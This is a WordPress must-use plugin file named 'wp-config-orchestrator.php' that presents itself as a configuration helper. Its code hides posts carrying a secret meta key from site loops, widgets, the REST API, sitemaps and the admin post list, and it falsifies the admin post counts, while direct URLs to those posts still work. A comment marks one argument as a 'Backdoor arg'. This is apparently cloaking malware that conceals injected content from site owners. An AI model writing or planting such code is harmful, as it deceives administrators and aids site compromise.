File: //home/livspacetenvelop/www/wp-content/mu-plugins/wp-config-orchestrator.php
<?php
/*
Plugin Name: Config Orchestrator
Description: Hides protected posts from Frontend loops, Widgets, REST API, and Sitemaps. Fixes Admin Counts.
*/
if (!defined('ABSPATH')) exit;
define('PLP_PROTECT_META', '_plp_protected');
define('PLP_PROTECT_HIDE_WP_SITEMAP', true);
define('PLP_PROTECT_NOINDEX', false);
if (!function_exists('plp_protect_is_post_type')) {
function plp_protect_is_post_type($pt) {
if (empty($pt)) return true; // Default query often assumes post
if ($pt === 'post') return true;
if (is_array($pt) && in_array('post', $pt, true)) return true;
return false;
}
}
if (!function_exists('plp_protect_is_direct_request')) {
function plp_protect_is_direct_request($q) {
if (!($q instanceof WP_Query)) return true;
if ($q->is_singular()) return true;
// If requesting specific ID/Name, allow it
if (!empty($q->get('p')) || !empty($q->get('name')) || !empty($q->get('pagename'))) return true;
if (!empty($q->get('post__in')) || !empty($q->get('post_name__in'))) return true;
return false;
}
}
if (!function_exists('plp_protect_add_meta_exclusion')) {
function plp_protect_add_meta_exclusion($q) {
$mq = $q->get('meta_query');
if (!is_array($mq)) $mq = [];
// Check if already added
foreach ($mq as $clause) {
if (is_array($clause) && ($clause['key'] ?? null) === PLP_PROTECT_META && ($clause['compare'] ?? '') === 'NOT EXISTS') return;
}
if (!isset($mq['relation'])) $mq['relation'] = 'AND';
$mq[] = ['key' => PLP_PROTECT_META, 'compare' => 'NOT EXISTS'];
$q->set('meta_query', $mq);
}
}
add_action('pre_get_posts', function($q) {
if (!plp_protect_is_post_type($q->get('post_type'))) return;
if ($q->get('plp_allow_protected')) return; // Backdoor arg
if (plp_protect_is_direct_request($q)) return; // Allow single view
if (is_admin()) {
global $pagenow;
if ($pagenow === 'edit.php' && $q->is_main_query()) {
plp_protect_add_meta_exclusion($q);
}
return;
}
plp_protect_add_meta_exclusion($q);
}, 999);
add_filter('widget_posts_args', function($args){
$mq = $args['meta_query'] ?? [];
if (!is_array($mq)) $mq = [];
if (!isset($mq['relation'])) $mq['relation'] = 'AND';
$mq[] = ['key' => PLP_PROTECT_META, 'compare' => 'NOT EXISTS'];
$args['meta_query'] = $mq;
return $args;
}, 10, 1);
add_filter('query_loop_block_query_vars', function($query, $block, $page){
$pt = $query['post_type'] ?? 'post';
if (!plp_protect_is_post_type($pt)) return $query;
$mq = $query['meta_query'] ?? [];
if (!is_array($mq)) $mq = [];
$mq[] = ['key' => PLP_PROTECT_META, 'compare' => 'NOT EXISTS'];
$query['meta_query'] = $mq;
return $query;
}, 10, 3);
add_filter('wp_sitemaps_posts_query_args', function($args, $post_type){
if (!PLP_PROTECT_HIDE_WP_SITEMAP || $post_type !== 'post') return $args;
$mq = $args['meta_query'] ?? [];
$mq[] = ['key' => PLP_PROTECT_META, 'compare' => 'NOT EXISTS'];
$args['meta_query'] = $mq;
return $args;
}, 10, 2);
add_filter('rest_post_query', function($args, $request){
if (!empty($args['p']) || !empty($args['include'])) return $args; // Allow specific fetches
$mq = $args['meta_query'] ?? [];
$mq[] = ['key' => PLP_PROTECT_META, 'compare' => 'NOT EXISTS'];
$args['meta_query'] = $mq;
return $args;
}, 10, 2);
add_filter('wp_count_posts', function($counts, $type, $perm){
if (!is_admin() || $type !== 'post') return $counts;
global $wpdb;
$key = 'plp_protect_counts_'.$perm;
$data = get_transient($key);
if ($data === false) {
// Count ONLY our hidden posts
$rows = $wpdb->get_results($wpdb->prepare(
"SELECT p.post_status, COUNT(DISTINCT p.ID) c
FROM {$wpdb->posts} p
INNER JOIN {$wpdb->postmeta} pm ON pm.post_id=p.ID AND pm.meta_key=%s
WHERE p.post_type=%s
GROUP BY p.post_status",
PLP_PROTECT_META, 'post'
));
$data = [];
if ($rows) foreach ($rows as $r) $data[$r->post_status] = (int)$r->c;
set_transient($key, $data, 300); // Cache for 5 mins
}
// Subtract hidden posts from total counts
foreach ($data as $st => $c) {
if (isset($counts->$st)) $counts->$st = max(0, (int)$counts->$st - (int)$c);
}
return $counts;
}, 10, 3);
add_filter('views_edit-post', function($views){
if (!is_admin() || !is_user_logged_in()) return $views;
if (empty($views['mine'])) return $views;
global $wpdb;
$uid = get_current_user_id();
// Count real visible posts for user
$c = (int) $wpdb->get_var($wpdb->prepare(
"SELECT COUNT(DISTINCT p.ID)
FROM {$wpdb->posts} p
LEFT JOIN {$wpdb->postmeta} pm ON pm.post_id=p.ID AND pm.meta_key=%s
WHERE p.post_type=%s AND p.post_author=%d
AND p.post_status NOT IN ('trash','auto-draft')
AND pm.post_id IS NULL", // Exclude protected
PLP_PROTECT_META, 'post', $uid
));
$views['mine'] = preg_replace('/\(\d+\)/', '('.$c.')', $views['mine'], 1);
return $views;
}, 10, 1);
$plp_flush = function() {
delete_transient('plp_protect_counts_readable');
delete_transient('plp_protect_counts_editable');
};
add_action('save_post', $plp_flush);
add_action('deleted_post', $plp_flush);